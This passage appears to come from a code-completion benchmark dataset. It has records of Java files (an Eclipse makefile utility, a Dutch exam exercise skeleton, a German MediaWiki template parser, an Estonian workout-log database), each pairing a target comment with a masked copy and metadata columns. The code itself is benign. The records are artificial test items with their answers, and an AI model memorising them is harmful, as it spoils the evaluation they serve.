+ " " + CPLUSPLUS_HEADERS + " " + POSIX_HEADERS; // directories we'll not search for source files public static final String IGNORABLE_DIRS[] = "CVS RCS SCCS _darcs blib .git .svn .git .bzr .hg backups".split(" +"); private MakefileTools() { } /** * Returns true if the given resource is a file with "cc", "cpp" or "h" extension, * but not _m.cc/cpp/h or _n.cc/cpp/h. */ public static boolean isNonGeneratedCppFile(IResource resource) { // not an _m.cc or _n.cc file return isCppFile(resource) && !resource.getName().matches(".*_[mn]\\.[^.]+$"); } /** * Returns true if the given resource is a file with "cc", "cpp" or "h" extension. */ public static boolean isCppFile(IResource resource) { if (resource instanceof IFile) { String fileExtension = ((IFile)resource).getFileExtension(); if ("cc".equalsIgnoreCase(fileExtension) || "cpp".equalsIgnoreCase(fileExtension) || "h".equalsIgnoreCase(fileExtension)) return true; } return false; } /** * Returns true if the given resource is a file with "msg" extension. */ public static boolean isMsgFile(IResource resource) { return resource instanceof IFile && "msg".equals(((IFile)resource).getFileExtension()); } /** * Returns true if the given resource is a file with "sm" extension. */ public static boolean isSmFile(IResource resource) { return resource instanceof IFile && "sm".equals(((IFile)resource).getFileExtension()); } /** * Returns true if the resource is a potential source folder * (not team private or backups folder). Does NOT check whether * folder is marked as excluded in CDT. */ public static boolean isGoodFolder(IResource resource) { // note: we explicitly check for "CVS", "_darcs" etc, because they are only recognized by // isTeamPrivateMember() if the corresponding plugin is installed return (resource instanceof IContainer && !resource.getName().startsWith(".") && !ArrayUtils.contains(MakefileTools.IGNORABLE_DIRS, resource.getName()) && !((IContainer)resource).isTeamPrivateMember()); } /** * Converts inputPath to be relative to referenceDir. This is not possible * if the two paths are from different devices, so in this case the method * returns the original inputPath unchanged. */ public static IPath makeRelativePath(IPath inputPath, IPath referenceDir) { Assert.isTrue(inputPath.isAbsolute()); Assert.isTrue(referenceDir.isAbsolute()); if (referenceDir.equals(inputPath)) return new Path("."); if (!StringUtils.equals(inputPath.getDevice(), referenceDir.getDevice())) return inputPath; int commonPrefixLen = inputPath.matchingFirstSegments(referenceDir); int upLevels = referenceDir.segmentCount() - commonPrefixLen; return new Path(StringUtils.removeEnd(StringUtils.repeat("../", upLevels), "/")).append(inputPath.removeFirstSegments(commonPrefixLen)); } public static void ensureFileContent(IFile file, byte[] bytes, IProgressMonitor monitor) throws CoreException { // only overwrites file if its content is not already what's desired try { file.refreshLocal(IResource.DEPTH_ZERO, monitor); if (!file.exists()) file.create(new ByteArrayInputStream(bytes), true, monitor); else if (!Arrays.equals(FileUtils.readBinaryFile(file.getContents()), bytes)) // NOTE: byte[].equals does NOT compare content, only references!!! file.setContents(new ByteArrayInputStream(bytes), true, false, monitor); } catch (IOException e) { throw Activator.wrapIntoCoreException(e); } } /** * Utility function to determine whether a given container is covered by * a given makefile. CDT source dirs and exclusions (CSourceEntry) are ignored, * instead there is excludedFolders (list of folder-relative paths to be excluded; * it excludes subtrees not single folders), and makeFolders (i.e. the given folder * may falls into the tree of another makefile). * * Both excludedFolders and makeFolders may be null. */ public static boolean makefileCovers(IContainer makefileFolder, IContainer folder, boolean deep, List<String> excludedFolders, List<IContainer> makeFolders) { if (!deep) { return folder.equals(makefileFolder); } else { if (!makefileFolder.getFullPath().isPrefixOf(folder.getFullPath())) return false; // not under that folder if (excludedFolders != null) { IPath folderRelativePath = folder.getFullPath().removeFirstSegments(makefileFolder.getFullPath().segmentCount()); for (String exludedFolder : excludedFolders) if (new Path(exludedFolder).isPrefixOf(folderRelativePath)) return false; // excluded } if (makeFolders != null) { // we visit the ancestors of this folder; if we find another makefile first, the answer is "false" for (IContainer tmp = folder; !tmp.equals(makefileFolder); tmp = tmp.getParent()) if (makeFolders.contains(tmp)) return false; } return true; } } //XXX experimental // // public static void updateProjectIncludePaths(ICProjectDescription projectDescription) throws CoreException { // List<IContainer> desiredIncDirs = MakefileTools.collectDirs(projectDescription, null); // for (ICConfigurationDescription config : projectDescription.getConfigurations()) { // ICFolderDescription rootFolderDesc = (ICFolderDescription)config.getResourceDescription(new Path(""), true); // ICLanguageSetting[] languageSettings = rootFolderDesc.getLanguageSettings(); // // ICLanguageSetting languageSetting = null; // for (ICLanguageSetting l : languageSettings) { // Debug.println("name:" + l.getName() + " langsettingid:" + l.getId() + " parentid:" + l.getParent().toString() + " langID:" + l.getLanguageId()); // List<ICLanguageSettingEntry> list = l.getSettingEntriesList(ICSettingEntry.INCLUDE_PATH); // //list.add(new CIncludePathEntry("/hello/bubu", ICSettingEntry.VALUE_WORKSPACE_PATH | ICSettingEntry.READONLY | ICSettingEntry.BUILTIN)); // //list.add(new CIncludePathEntry("/hello/bubu"+System.currentTimeMillis(), ~0)); // list.add(new CIncludePathEntry("/hello/syspath"+System.currentTimeMillis(), ICSettingEntry.READONLY | ICSettingEntry.BUILTIN)); // for (ICLanguageSettingEntry e : list) // Debug.println(" " + e); // // possible flags: BUILTIN, READONLY, LOCAL (??), VALUE_WORKSPACE_PATH, RESOLVED // l.setSettingEntries(ICSettingEntry.INCLUDE_PATH, list); // ===> DOES NOT WORK, BUILTIN/READONLY FLAGS GET CLEARED BY CDT // // List<ICLanguageSettingEntry> list2 = l.getSettingEntriesList(ICSettingEntry.INCLUDE_PATH); // for (ICLanguageSettingEntry e : list2) { // if (e instanceof CIncludePathEntry) { // ReflectionUtils.setFieldValue(e, "fFlags", e.getFlags() | ICSettingEntry.READONLY); // } // Debug.println(" " + e); // } // } // // remove existing include paths // // add new include paths // //XXX language settings! and folder specific!! AAARGH.... // } // // // see https://bugs.eclipse.org/bugs/show_bug.cgi?id=206372 // // // testing CoreModel.setRawPathEntries() -- yields editable entries like ICLangageSettingEntry... // IProject project = projectDescription.getProject(); // ICProject cproject = CoreModel.getDefault().getCModel().getCProject(project.getName()); // IPathEntry[] rawPathEntries = CoreModel.getRawPathEntries(cproject); // for (IPathEntry e : rawPathEntries) // Debug.println("** ENTRY: " + e); // IncludeEntry newEntry = new IncludeEntry(new Path(""), new Path(""), new Path(""), new Path("/someproj/inc-"+System.currentTimeMillis()), true, new IPath[]{}, false); // rawPathEntries = (IPathEntry[])ArrayUtils.add(rawPathEntries, newEntry); // CoreModel.setRawPathEntries(cproject, rawPathEntries, null); // // // random test code... // IDiscoveredPathInfo discoveredInfo = MakeCorePlugin.getDefault().getDiscoveryManager().getDiscoveredInfo(project); // Debug.println(discoveredInfo); // } }
False
2,494
22
2,851
28
2,961
28
2,851
28
3,278
29
false
false
false
false
false
true
2,473
184673_3
package be.pxl.ja.opgave1; import java.util.List; public class BuildingApp2TIN { private List<Building> buildings; public BuildingApp2TIN() { // TODO: read data from file buildings.csv and assign to buildings } // 1. Geef het aantal buildings van vóór het jaar 1970 (1970 excl.) public long solution1() { // TODO throw new UnsupportedOperationException(); } // 2. Geef de naam van de hoogste building public String solution2() { // TODO throw new UnsupportedOperationException(); } // 3. Hoeveel van de buildings worden gebruikt als hotel? public long solution3() { // TODO throw new UnsupportedOperationException(); } // 4. Geef een tekst met de verschillende landen: geen dubbels, alfabetisch gesorteerd en gescheiden met een komma. public String solution4() { // TODO throw new UnsupportedOperationException(); } // 5. Geef een lijst van alle buildings met type SKYSCRAPER van het jaar 2000. Sorteer de buildings alfabetisch (A -> Z) op city. public List<Building> solution5() { // TODO throw new UnsupportedOperationException(); } }
custersnele/JavaAdv_examen_21_22_zit1
src/main/java/be/pxl/ja/opgave1/BuildingApp2TIN.java
341
// 3. Hoeveel van de buildings worden gebruikt als hotel?
line_comment
nl
package be.pxl.ja.opgave1; import java.util.List; public class BuildingApp2TIN { private List<Building> buildings; public BuildingApp2TIN() { // TODO: read data from file buildings.csv and assign to buildings } // 1. Geef het aantal buildings van vóór het jaar 1970 (1970 excl.) public long solution1() { // TODO throw new UnsupportedOperationException(); } // 2. Geef de naam van de hoogste building public String solution2() { // TODO throw new UnsupportedOperationException(); } // 3. Hoeveel<SUF> public long solution3() { // TODO throw new UnsupportedOperationException(); } // 4. Geef een tekst met de verschillende landen: geen dubbels, alfabetisch gesorteerd en gescheiden met een komma. public String solution4() { // TODO throw new UnsupportedOperationException(); } // 5. Geef een lijst van alle buildings met type SKYSCRAPER van het jaar 2000. Sorteer de buildings alfabetisch (A -> Z) op city. public List<Building> solution5() { // TODO throw new UnsupportedOperationException(); } }
True
289
16
344
17
318
15
344
17
367
17
false
false
false
false
false
true
2,572
202980_2
/* * Licensed to the Technische Universität Darmstadt under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The Technische Universität Darmstadt * licenses this file to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.dkpro.jwpl.parser.mediawiki; import java.lang.invoke.MethodHandles; import java.util.List; import org.dkpro.jwpl.parser.Link; import org.dkpro.jwpl.parser.ParsedPage; import org.dkpro.jwpl.parser.Template; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * This is the TemplateParser for the german language, with special treatment for all the german * templates, like "Dieser Artikel" or "Deutschlandlastig". */ public class GermanTemplateParser implements MediaWikiTemplateParser { private static final Logger logger = LoggerFactory .getLogger(MethodHandles.lookup().lookupClass()); private final String templatePrefix = "TEMPLATE["; private final String templatePostfix = "]"; private final String parameterDivisor = ", "; private final String templateNotImplementedPrefix = "TEMPLATE NOT IMPLEMENTED["; private final String templateNotImplementedPostfix = "]"; private final String emptyLinkText = "[ ]"; // private MediaWikiContentElementParser parser; private final List<String> deleteTemplates; private final List<String> parseTemplates; public GermanTemplateParser(MediaWikiContentElementParser parser, List<String> deleteTemplates, List<String> parseTemplates) { this.deleteTemplates = deleteTemplates; this.parseTemplates = parseTemplates; // this.parser = parser; } public String configurationInfo() { StringBuilder result = new StringBuilder(); result.append("Standard Template treatment: ShowNameAndParameters"); result.append("\nDelete Templates: "); for (String s : deleteTemplates) { result.append("\"" + s + "\" "); } result.append("\nParse Templates: "); for (String s : parseTemplates) { result.append("\"" + s + "\" "); } return result.toString(); } public ResolvedTemplate parseTemplate(Template t, ParsedPage pp) { final String templateName = t.getName(); // Show Name and Parameters as Standart treatment. ResolvedTemplate result = new ResolvedTemplate(t); result.setPreParseReplacement(ResolvedTemplate.TEMPLATESPACER); StringBuilder sb = new StringBuilder(); sb.append(templatePrefix); sb.append(t.getName() + parameterDivisor); for (String s : t.getParameters()) { sb.append(s + parameterDivisor); } sb.delete(sb.length() - parameterDivisor.length(), sb.length()); sb.append(templatePostfix); result.setPostParseReplacement(sb.toString()); result.setParsedObject(t); // Delete Template if it is in the List for (String s : deleteTemplates) { if (s.equals(templateName)) { result.setPostParseReplacement(""); result.setParsedObject(null); return result; } } // Parse Template if it is in the List for (String s : parseTemplates) { List<String> templateParameters = t.getParameters(); if (s.equals(templateName)) { logger.info("ParseTemplate: {}", templateName); if (templateName.equals("Dieser Artikel")) { // I removed that from the core API, as it is not likely to be present in most // non-German articles. (TZ) // pp.setAboutArticle( parser.parseContentElement( templateParameters.get(0) )); result.setPostParseReplacement(""); result.setParsedObject(null); return result; } else if (templateName.equals("Audio") || templateName.equals("Audio genau")) { if (templateParameters.size() == 0) { break; } if (templateParameters.size() == 1) { templateParameters.add(emptyLinkText); } result.setPostParseReplacement(t.getParameters().get(1)); result.setParsedObject(new Link(null, t.getPos(), templateParameters.get(0), Link.type.AUDIO, null)); return result; } else if (templateName.equals("Video")) { if (templateParameters.size() == 0) { break; } if (templateParameters.size() == 1) { templateParameters.add(emptyLinkText); } result.setPostParseReplacement(t.getParameters().get(1)); result.setParsedObject(new Link(null, t.getPos(), t.getParameters().get(0), Link.type.VIDEO, null)); return result; } else { result.setPostParseReplacement(templateNotImplementedPrefix + templateName + templateNotImplementedPostfix); return result; } } } return result; } }
dkpro/dkpro-jwpl
dkpro-jwpl-parser/src/main/java/org/dkpro/jwpl/parser/mediawiki/GermanTemplateParser.java
1,523
// private MediaWikiContentElementParser parser;
line_comment
nl
/* * Licensed to the Technische Universität Darmstadt under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The Technische Universität Darmstadt * licenses this file to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.dkpro.jwpl.parser.mediawiki; import java.lang.invoke.MethodHandles; import java.util.List; import org.dkpro.jwpl.parser.Link; import org.dkpro.jwpl.parser.ParsedPage; import org.dkpro.jwpl.parser.Template; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * This is the TemplateParser for the german language, with special treatment for all the german * templates, like "Dieser Artikel" or "Deutschlandlastig". */ public class GermanTemplateParser implements MediaWikiTemplateParser { private static final Logger logger = LoggerFactory .getLogger(MethodHandles.lookup().lookupClass()); private final String templatePrefix = "TEMPLATE["; private final String templatePostfix = "]"; private final String parameterDivisor = ", "; private final String templateNotImplementedPrefix = "TEMPLATE NOT IMPLEMENTED["; private final String templateNotImplementedPostfix = "]"; private final String emptyLinkText = "[ ]"; // private MediaWikiContentElementParser<SUF> private final List<String> deleteTemplates; private final List<String> parseTemplates; public GermanTemplateParser(MediaWikiContentElementParser parser, List<String> deleteTemplates, List<String> parseTemplates) { this.deleteTemplates = deleteTemplates; this.parseTemplates = parseTemplates; // this.parser = parser; } public String configurationInfo() { StringBuilder result = new StringBuilder(); result.append("Standard Template treatment: ShowNameAndParameters"); result.append("\nDelete Templates: "); for (String s : deleteTemplates) { result.append("\"" + s + "\" "); } result.append("\nParse Templates: "); for (String s : parseTemplates) { result.append("\"" + s + "\" "); } return result.toString(); } public ResolvedTemplate parseTemplate(Template t, ParsedPage pp) { final String templateName = t.getName(); // Show Name and Parameters as Standart treatment. ResolvedTemplate result = new ResolvedTemplate(t); result.setPreParseReplacement(ResolvedTemplate.TEMPLATESPACER); StringBuilder sb = new StringBuilder(); sb.append(templatePrefix); sb.append(t.getName() + parameterDivisor); for (String s : t.getParameters()) { sb.append(s + parameterDivisor); } sb.delete(sb.length() - parameterDivisor.length(), sb.length()); sb.append(templatePostfix); result.setPostParseReplacement(sb.toString()); result.setParsedObject(t); // Delete Template if it is in the List for (String s : deleteTemplates) { if (s.equals(templateName)) { result.setPostParseReplacement(""); result.setParsedObject(null); return result; } } // Parse Template if it is in the List for (String s : parseTemplates) { List<String> templateParameters = t.getParameters(); if (s.equals(templateName)) { logger.info("ParseTemplate: {}", templateName); if (templateName.equals("Dieser Artikel")) { // I removed that from the core API, as it is not likely to be present in most // non-German articles. (TZ) // pp.setAboutArticle( parser.parseContentElement( templateParameters.get(0) )); result.setPostParseReplacement(""); result.setParsedObject(null); return result; } else if (templateName.equals("Audio") || templateName.equals("Audio genau")) { if (templateParameters.size() == 0) { break; } if (templateParameters.size() == 1) { templateParameters.add(emptyLinkText); } result.setPostParseReplacement(t.getParameters().get(1)); result.setParsedObject(new Link(null, t.getPos(), templateParameters.get(0), Link.type.AUDIO, null)); return result; } else if (templateName.equals("Video")) { if (templateParameters.size() == 0) { break; } if (templateParameters.size() == 1) { templateParameters.add(emptyLinkText); } result.setPostParseReplacement(t.getParameters().get(1)); result.setParsedObject(new Link(null, t.getPos(), t.getParameters().get(0), Link.type.VIDEO, null)); return result; } else { result.setPostParseReplacement(templateNotImplementedPrefix + templateName + templateNotImplementedPostfix); return result; } } } return result; } }
False
1,135
9
1,265
9
1,336
9
1,265
9
1,534
10
false
false
false
false
false
true
3,532
202729_8
import java.io.File; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.FileWriter; import java.util.*; import java.util.stream.Collectors; import jdk.jshell.spi.ExecutionControl; import org.json.*; // Võimaldab trennide andmebaasi laadida ning salvestada, samuti muuta selle andmeid mingil moel (trenni lisamine, kustutamine jne) // Mõte oli, et niimoodi lahutab backendi ja frontendi rohkem ära. Ehk siis andmete töötlemise ja salvestamisega tegeleb mingi class, ning graafikaliides ei pea // midagi teadma, kuidas neid andmeid töödeldakse. public class Andmebaas { public static final String ANDMEBAASI_FAIL = "andmebaas.json"; private HashMap<String, List<Trenn>> trenniAndmed; public Andmebaas() { this.trenniAndmed = new HashMap<>(); } public boolean lisaTrenn(String kuupäev, String nimi, String kestvus) { if(!this.trenniAndmed.containsKey(kuupäev)) return false; //loome uue random ID et seda trenniga koos kasutada (panin kolmekohalise sest siis on vast piisavalt palju trenne võimalik lisada) int id = (int) (Math.random() * 1000); //loome juba kasutusel olevate IDde listi ArrayList<Integer> trennideIDd = new ArrayList<>(); //ma pole kindel kas see töötab nii nagu ma plaanisin //aga see peaks iga trenni id panema listi: this.trenniAndmed.forEach((key, value) -> { if (value.isEmpty()) ; else { for (Trenn mingiTrenn : value) { trennideIDd.add(Integer.parseInt(mingiTrenn.getId())); } } }); //kontrollime et seda IDd ei oleks seal listis while (trennideIDd.contains(id)) id = (int) (Math.random() * 1000); //teeme uue trenni isendi Trenn uusTrenn = new Trenn(String.valueOf(id), kestvus, nimi); //lisame selle selle kuupäeva trennide listi this.trenniAndmed.get(kuupäev).add(uusTrenn); return true; } //kustutab trenni kindla IDga mingilt kuupäevalt, kontrollides kas selline ID on olemas public boolean kustutaTrenn(String kuupäev, String id) { if(!this.trenniAndmed.containsKey(kuupäev)) return false; boolean eemaldati = this.trenniAndmed.get(kuupäev).removeIf(trenn -> trenn.getId().equals(id)); return eemaldati; } public List<Trenn> tagastaTrennidKuupäeval(String kuupäev) { return this.trenniAndmed.get(kuupäev); } public boolean looUusKuupäev(String kuupäev) { if(this.trenniAndmed.containsKey(kuupäev)) // vana kuupäev kirjutatakse üle ilma selleta return false; ArrayList<Trenn> mingidTrennid = new ArrayList<>(); this.trenniAndmed.put(kuupäev, mingidTrennid); return true; } public boolean kustutaKuupäev(String kuupäev) { return this.trenniAndmed.remove(kuupäev) != null; } public void lisaKuupäev(String kuupäev) { this.trenniAndmed.put(kuupäev, new ArrayList<>()); } public List<String> tagastaKõikKuupäevad() { //kõik kuupäevad uude listi List<String> kõikKuupäevad=new ArrayList<>(); if (this.trenniAndmed.isEmpty()) return kõikKuupäevad; this.trenniAndmed.forEach((key, value) -> { kõikKuupäevad.add(key); }); return kõikKuupäevad; } //tagastab mingi välja sisemiste andmeväljade info rekursiivselt private List<Andmeväli> loeAndmeväljadRekursiivselt(JSONObject praeguseVäljaInfo) { ArrayList<Andmeväli> andmeväljad = new ArrayList<>(); JSONArray andmeväljadJson = praeguseVäljaInfo.getJSONArray("väljad"); Iterator<Object> it = andmeväljadJson.iterator(); while (it.hasNext()) { JSONObject väljaInfo = (JSONObject) it.next(); String id = väljaInfo.getString("id"); String väljaNimi = väljaInfo.getString("nimi"); String väärtus = väljaInfo.getString("väärtus"); // rekursiivselt paneme kirja sisemised väljad List<Andmeväli> sisemisedVäljad = new ArrayList<>(); if (!väljaInfo.getJSONArray("väljad").isEmpty()) sisemisedVäljad = this.loeAndmeväljadRekursiivselt(väljaInfo); Andmeväli väli = new Andmeväli(id, väljaNimi, väärtus, sisemisedVäljad); andmeväljad.add(väli); } return andmeväljad; } //laeb andmebaasi faili info public void laeAndmebaas() throws FileNotFoundException { JSONTokener jsonFail = new JSONTokener(new FileReader(ANDMEBAASI_FAIL)); // vaatame kõik kuupäevad andmebaasis läbi JSONObject kuupäevadKoosTrennidega = new JSONObject(jsonFail); for (String kuupäev : kuupäevadKoosTrennidega.keySet()) { this.trenniAndmed.put(kuupäev, new ArrayList<>()); // vaatame läbi kõik trennid, mis sel kuupäeval tegime JSONArray treeningud = kuupäevadKoosTrennidega.getJSONArray(kuupäev); for (Object o : treeningud) { JSONObject trennJson = (JSONObject) o; String trenniNimi = trennJson.getString("nimi"); String trenniKestvus = trennJson.getString("kestvus"); String id = trennJson.getString("id"); // lisame trenni kindlasse kuupäeva Trenn trenn = new Trenn(id, trenniKestvus, trenniNimi); List<Trenn> trennidKuupäeval = this.trenniAndmed.get(kuupäev); trennidKuupäeval.add(trenn); // loeme trenni andmeväljad eraldi objekti, siis uuendame trenni infot List<Andmeväli> andmeväljad = this.loeAndmeväljadRekursiivselt(trennJson); trenn.setPeamisedVäljad(andmeväljad); } } } //tagastab väljaobjektide JSONArray, mida andmebaas kasutab private JSONArray väljaObjektidJsoniks(List<Andmeväli> väljad) { JSONArray väljadJson = new JSONArray(); for (Andmeväli andmed : väljad) { JSONObject andmedJson = new JSONObject(); andmedJson.put("id", andmed.getId()); andmedJson.put("nimi", andmed.getNimi()); andmedJson.put("väärtus", andmed.getVäärtus()); if (andmed.getSisemisedVäljad().size() != 0) andmedJson.put("väljad", this.väljaObjektidJsoniks(andmed.getSisemisedVäljad())); else andmedJson.put("väljad", new JSONArray()); // lisame andmete Jsoni listi väljadJson.put(andmedJson); } return väljadJson; } //tagastab trenniobjektide JSONArray, mida andmebaas kasutab private JSONArray trenniObjektidJsoniks(List<Trenn> trennid) { JSONArray trennidJson = new JSONArray(); for (Trenn trenn : trennid) { JSONObject trenniJson = new JSONObject(); trenniJson.put("id", trenn.getId()); trenniJson.put("nimi", trenn.getNimi()); trenniJson.put("kestvus", trenn.getKestvus()); trenniJson.put("väljad", this.väljaObjektidJsoniks(trenn.getPeamisedVäljad())); trennidJson.put(trenniJson); } return trennidJson; } public void salvestaAndmebaas() throws java.io.IOException { // Java objektide muundamine JSONiks JSONObject uusAndmebaas = new JSONObject(); for (String kuupäev : this.trenniAndmed.keySet()) { List<Trenn> trennid = this.trenniAndmed.get(kuupäev); uusAndmebaas.put(kuupäev, this.trenniObjektidJsoniks(trennid)); } // faili salvestamine File andmebaasiFail = new File(ANDMEBAASI_FAIL); try (FileWriter salvestus = new FileWriter(andmebaasiFail)) { salvestus.write(uusAndmebaas.toString()); salvestus.flush(); } } // testimise meetod public static void main(String[] args) throws Exception { Andmebaas andmed = new Andmebaas(); andmed.laeAndmebaas(); //need andmed on nüüd andmebaasis: //andmed.looUusKuupäev("2023-03-18"); //andmed.lisaTrenn("2023-03-18", "Jalutamine", "80min"); //andmed.looUusKuupäev("2023-02-28"); //andmed.lisaTrenn("2023-02-28", "Jõutrenn", "60min"); //andmed.lisaTrenn("2023-04-05", "Jooks", "30min"); System.out.println(andmed.tagastaKõikKuupäevad()); andmed.salvestaAndmebaas(); } }
madiskoivopuu/treeningpaevik
src/Andmebaas.java
3,071
//teeme uue trenni isendi
line_comment
nl
import java.io.File; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.FileWriter; import java.util.*; import java.util.stream.Collectors; import jdk.jshell.spi.ExecutionControl; import org.json.*; // Võimaldab trennide andmebaasi laadida ning salvestada, samuti muuta selle andmeid mingil moel (trenni lisamine, kustutamine jne) // Mõte oli, et niimoodi lahutab backendi ja frontendi rohkem ära. Ehk siis andmete töötlemise ja salvestamisega tegeleb mingi class, ning graafikaliides ei pea // midagi teadma, kuidas neid andmeid töödeldakse. public class Andmebaas { public static final String ANDMEBAASI_FAIL = "andmebaas.json"; private HashMap<String, List<Trenn>> trenniAndmed; public Andmebaas() { this.trenniAndmed = new HashMap<>(); } public boolean lisaTrenn(String kuupäev, String nimi, String kestvus) { if(!this.trenniAndmed.containsKey(kuupäev)) return false; //loome uue random ID et seda trenniga koos kasutada (panin kolmekohalise sest siis on vast piisavalt palju trenne võimalik lisada) int id = (int) (Math.random() * 1000); //loome juba kasutusel olevate IDde listi ArrayList<Integer> trennideIDd = new ArrayList<>(); //ma pole kindel kas see töötab nii nagu ma plaanisin //aga see peaks iga trenni id panema listi: this.trenniAndmed.forEach((key, value) -> { if (value.isEmpty()) ; else { for (Trenn mingiTrenn : value) { trennideIDd.add(Integer.parseInt(mingiTrenn.getId())); } } }); //kontrollime et seda IDd ei oleks seal listis while (trennideIDd.contains(id)) id = (int) (Math.random() * 1000); //teeme uue<SUF> Trenn uusTrenn = new Trenn(String.valueOf(id), kestvus, nimi); //lisame selle selle kuupäeva trennide listi this.trenniAndmed.get(kuupäev).add(uusTrenn); return true; } //kustutab trenni kindla IDga mingilt kuupäevalt, kontrollides kas selline ID on olemas public boolean kustutaTrenn(String kuupäev, String id) { if(!this.trenniAndmed.containsKey(kuupäev)) return false; boolean eemaldati = this.trenniAndmed.get(kuupäev).removeIf(trenn -> trenn.getId().equals(id)); return eemaldati; } public List<Trenn> tagastaTrennidKuupäeval(String kuupäev) { return this.trenniAndmed.get(kuupäev); } public boolean looUusKuupäev(String kuupäev) { if(this.trenniAndmed.containsKey(kuupäev)) // vana kuupäev kirjutatakse üle ilma selleta return false; ArrayList<Trenn> mingidTrennid = new ArrayList<>(); this.trenniAndmed.put(kuupäev, mingidTrennid); return true; } public boolean kustutaKuupäev(String kuupäev) { return this.trenniAndmed.remove(kuupäev) != null; } public void lisaKuupäev(String kuupäev) { this.trenniAndmed.put(kuupäev, new ArrayList<>()); } public List<String> tagastaKõikKuupäevad() { //kõik kuupäevad uude listi List<String> kõikKuupäevad=new ArrayList<>(); if (this.trenniAndmed.isEmpty()) return kõikKuupäevad; this.trenniAndmed.forEach((key, value) -> { kõikKuupäevad.add(key); }); return kõikKuupäevad; } //tagastab mingi välja sisemiste andmeväljade info rekursiivselt private List<Andmeväli> loeAndmeväljadRekursiivselt(JSONObject praeguseVäljaInfo) { ArrayList<Andmeväli> andmeväljad = new ArrayList<>(); JSONArray andmeväljadJson = praeguseVäljaInfo.getJSONArray("väljad"); Iterator<Object> it = andmeväljadJson.iterator(); while (it.hasNext()) { JSONObject väljaInfo = (JSONObject) it.next(); String id = väljaInfo.getString("id"); String väljaNimi = väljaInfo.getString("nimi"); String väärtus = väljaInfo.getString("väärtus"); // rekursiivselt paneme kirja sisemised väljad List<Andmeväli> sisemisedVäljad = new ArrayList<>(); if (!väljaInfo.getJSONArray("väljad").isEmpty()) sisemisedVäljad = this.loeAndmeväljadRekursiivselt(väljaInfo); Andmeväli väli = new Andmeväli(id, väljaNimi, väärtus, sisemisedVäljad); andmeväljad.add(väli); } return andmeväljad; } //laeb andmebaasi faili info public void laeAndmebaas() throws FileNotFoundException { JSONTokener jsonFail = new JSONTokener(new FileReader(ANDMEBAASI_FAIL)); // vaatame kõik kuupäevad andmebaasis läbi JSONObject kuupäevadKoosTrennidega = new JSONObject(jsonFail); for (String kuupäev : kuupäevadKoosTrennidega.keySet()) { this.trenniAndmed.put(kuupäev, new ArrayList<>()); // vaatame läbi kõik trennid, mis sel kuupäeval tegime JSONArray treeningud = kuupäevadKoosTrennidega.getJSONArray(kuupäev); for (Object o : treeningud) { JSONObject trennJson = (JSONObject) o; String trenniNimi = trennJson.getString("nimi"); String trenniKestvus = trennJson.getString("kestvus"); String id = trennJson.getString("id"); // lisame trenni kindlasse kuupäeva Trenn trenn = new Trenn(id, trenniKestvus, trenniNimi); List<Trenn> trennidKuupäeval = this.trenniAndmed.get(kuupäev); trennidKuupäeval.add(trenn); // loeme trenni andmeväljad eraldi objekti, siis uuendame trenni infot List<Andmeväli> andmeväljad = this.loeAndmeväljadRekursiivselt(trennJson); trenn.setPeamisedVäljad(andmeväljad); } } } //tagastab väljaobjektide JSONArray, mida andmebaas kasutab private JSONArray väljaObjektidJsoniks(List<Andmeväli> väljad) { JSONArray väljadJson = new JSONArray(); for (Andmeväli andmed : väljad) { JSONObject andmedJson = new JSONObject(); andmedJson.put("id", andmed.getId()); andmedJson.put("nimi", andmed.getNimi()); andmedJson.put("väärtus", andmed.getVäärtus()); if (andmed.getSisemisedVäljad().size() != 0) andmedJson.put("väljad", this.väljaObjektidJsoniks(andmed.getSisemisedVäljad())); else andmedJson.put("väljad", new JSONArray()); // lisame andmete Jsoni listi väljadJson.put(andmedJson); } return väljadJson; } //tagastab trenniobjektide JSONArray, mida andmebaas kasutab private JSONArray trenniObjektidJsoniks(List<Trenn> trennid) { JSONArray trennidJson = new JSONArray(); for (Trenn trenn : trennid) { JSONObject trenniJson = new JSONObject(); trenniJson.put("id", trenn.getId()); trenniJson.put("nimi", trenn.getNimi()); trenniJson.put("kestvus", trenn.getKestvus()); trenniJson.put("väljad", this.väljaObjektidJsoniks(trenn.getPeamisedVäljad())); trennidJson.put(trenniJson); } return trennidJson; } public void salvestaAndmebaas() throws java.io.IOException { // Java objektide muundamine JSONiks JSONObject uusAndmebaas = new JSONObject(); for (String kuupäev : this.trenniAndmed.keySet()) { List<Trenn> trennid = this.trenniAndmed.get(kuupäev); uusAndmebaas.put(kuupäev, this.trenniObjektidJsoniks(trennid)); } // faili salvestamine File andmebaasiFail = new File(ANDMEBAASI_FAIL); try (FileWriter salvestus = new FileWriter(andmebaasiFail)) { salvestus.write(uusAndmebaas.toString()); salvestus.flush(); } } // testimise meetod public static void main(String[] args) throws Exception { Andmebaas andmed = new Andmebaas(); andmed.laeAndmebaas(); //need andmed on nüüd andmebaasis: //andmed.looUusKuupäev("2023-03-18"); //andmed.lisaTrenn("2023-03-18", "Jalutamine", "80min"); //andmed.looUusKuupäev("2023-02-28"); //andmed.lisaTrenn("2023-02-28", "Jõutrenn", "60min"); //andmed.lisaTrenn("2023-04-05", "Jooks", "30min"); System.out.println(andmed.tagastaKõikKuupäevad()); andmed.salvestaAndmebaas(); } }
False
2,544
9
2,845
10
2,638
9
2,845
10
3,090
9
false
false
false
false
false
true
3,644
57384_2
